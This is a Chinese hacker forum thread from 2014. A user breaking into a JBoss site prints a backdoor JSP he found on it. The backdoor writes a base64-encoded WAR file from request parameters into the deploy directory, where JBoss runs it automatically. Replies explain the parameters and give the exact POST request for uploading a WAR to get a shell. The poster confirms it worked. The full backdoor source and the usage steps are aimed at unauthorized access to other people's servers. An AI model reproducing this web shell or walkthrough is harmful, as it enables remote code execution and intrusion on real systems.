日一个jboss的 站。 洞被补掉了, 但是看到 有人已经传了后门上去 详细代码 如下

<%
@page import="java.io.*,
java.util.*,
sun.misc.BASE64Decoder"
%>
<%
String PJdpj = "";
String pIGx = "";
String RSVw = System.getProperty("jboss.server.home.dir");
if (request.getParameter("pUBYyDsT") != null){
try {
PJdpj = request.getParameter("pUBYyDsT");
pIGx = request.getParameter("oAEICWIo");
byte[] rFPE = new BASE64Decoder().decodeBuffer(PJdpj);
String MfNJU = RSVw + "/deploy/" + pIGx + ".war";
FileOutputStream twkH = new FileOutputStream(MfNJU);
twkH.write(rFPE);
twkH.close();
}
catch(Exception e) {}
}
else {
try{
String VBpM = request.getParameter("oAEICWIo");
String dhkDS = RSVw + "/deploy/" + VBpM + ".war";
new File(dhkDS).delete();
}
catch(Exception e) {}
}
%>

求利用方法, 不懂Java...

[原文地址]

相关内容:

Java WebServer 自动部署后门附工具和源码

求此后门的利用方法,一段另类的 java 后门代码,Jboss 自动部署 war 后门

相关讨论:

1#

xsser (十根阳具有长短!!) | 2014-01-07 15:42

你怎么看到后门代码的...

2#

risi | 2014-01-07 15:42

@xsser 有个.tmp

3#

无敌L.t.H (:?门安天京北爱我?) | 2014-01-07 15:48

为什么不懂Java又要搞Java?

4#

xsjswt | 2014-01-07 15:49

参数 含义

pUBYyDsT 文件内容,base64过

pIGx 文件路径 jboss目录/deploy/pIGx.war

5#

xsjswt | 2014-01-07 15:50

@无敌L.t.H 不懂日P,但是还是得日

6#

risi | 2014-01-07 15:53

@xsjswt 直接post test.jsp? 还是 test.jsp?pUBYyDsT=base64(一句话)&pIGx=文件路径 jboss目录/deploy/pIGx.war

这样子?

7#

Nebula | 2014-01-07 15:53

pUBYyDsT参数是jboss部署war包的方式()包括base64编码;

oAEICWIo参数是删除指定war包名!

8#

wefgod (求大牛指点) | 2014-01-07 15:57

FileOutputStream twkH = new FileOutputStream(MfNJU);
twkH.write(rFPE);
twkH.close();

看这就大概知道了吧

9#

risi | 2014-01-07 16:01

@wefgod @Nebula 大牛 ,真心不明白 拯救下彩笔吧 .... 说简单点

10#

小葵 (小姐~你的黄瓜掉了。) | 2014-01-07 16:16

@risi 操 我的后门被你发现了。。 你在日我的哪台服务器?你丫的

11#

risi | 2014-01-07 16:17

@小葵 #99 那 大牛给个EXP

12#

xsjswt | 2014-01-07 16:20

@risi 那你就看他的request.getParameter是get还是post了,最简单的,你都试一次就知道了

13#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-07 16:21

挺聪明的,会自动部署。

POST提交:http://xxx.com/xxx.jsp

参数:

PJdpj=war的Basr64编码&pIGx=Test

然后请求http://xxx.com/Test就getshell了

14#

risi | 2014-01-07 16:39

@xsjswt @园长 多谢大牛, 我去测试下

15#

园长 (你在身边就是缘,缘分写在数据库里面。) | 2014-01-07 16:40

汗写错了,PJdpj应该是pUBYyDsT,pIGx应该是oAEICWIo

pUBYyDsT=war的Basr64编码&oAEICWIo=Test

16#

risi | 2014-01-07 16:46

@园长 ....我说呢

17#

risi | 2014-01-07 16:48

@园长 搞定了, 多谢 .

18#

luwikes (土豆你个西红柿,番茄你个马铃薯~~~) | 2014-01-08 10:52

request.getParameter既可以获取get提交的也可以获取post提交的。所以在这里你可以直接在url后面加参数,也可以在本地建一个html提交post请求。当然post要安全,而且没有长度限制更随意。

19#

loopx9 | 2014-01-08 13:40

像是metasploit的exp

20#

核攻击 (统治全球,奴役全人类!毁灭任何胆敢阻拦的有机生物!) | 2014-01-08 14:16

PJdpj = request.getParameter("pUBYyDsT"); //文件内容
pIGx = request.getParameter("oAEICWIo"); //文件名
byte[] rFPE = new BASE64Decoder().decodeBuffer(PJdpj);
String MfNJU = RSVw + "/deploy/" + pIGx + ".war";
FileOutputStream twkH = new FileOutputStream(MfNJU);
twkH.write(rFPE);
twkH.close();